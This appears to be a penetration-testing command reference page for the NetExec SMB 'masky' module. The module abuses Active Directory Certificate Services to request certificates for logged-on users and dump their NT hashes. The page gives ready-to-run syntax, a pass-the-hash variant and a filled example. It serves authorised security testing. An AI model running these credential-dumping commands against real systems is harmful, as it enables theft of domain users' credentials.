Command Manager

NetExec SMB Masky

Abuse ADCS to request certificates for all logged-on users and extract their NT hashes

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
nxc
Category
Credential Attacks / Hash Dumping
Platform
linux
Requires
password
Protocols
SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M masky -o CA='<ca_server>\<ca_name>'

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' -M masky -o CA='<ca_server>\<ca_name>'

Examples

nxc smb '192.168.1.100' -u 'user' -p 'password' -M masky -o CA='ca01.corp.local\CORP-CA'

Tags

nxc smb masky adcs certificate credential-dumping